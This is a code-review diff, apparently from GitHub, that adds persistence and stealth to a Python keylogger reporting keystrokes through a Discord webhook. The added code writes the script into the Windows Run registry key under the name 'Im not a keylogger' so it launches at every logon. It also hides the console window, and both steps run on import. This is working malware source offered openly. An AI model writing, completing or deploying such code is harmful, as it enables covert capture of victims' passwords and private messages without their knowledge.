Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 24 additions & 1 deletion discord_keylogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,32 @@
from threading import Timer
from datetime import datetime
from discord_webhook import DiscordWebhook, DiscordEmbed
import sys, os
from winreg import *

SEND_REPORT_EVERY = 10
WEBHOOK = "WEBHOOK"
WEBHOOK = ""

def addStartup(): # this will add the file to the startup registry key
fp = os.path.dirname(os.path.realpath(__file__))
file_name = sys.argv[0].split('\\')[-1]
new_file_path = fp + '\\' + file_name
keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
SetValueEx(key2change, 'Im not a keylogger', 0, REG_SZ,
new_file_path)


def Hide():
import win32console
import win32gui
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

addStartup()

Hide()


class Keylogger:
def __init__(self, interval, report_method="webhook"):
Expand Down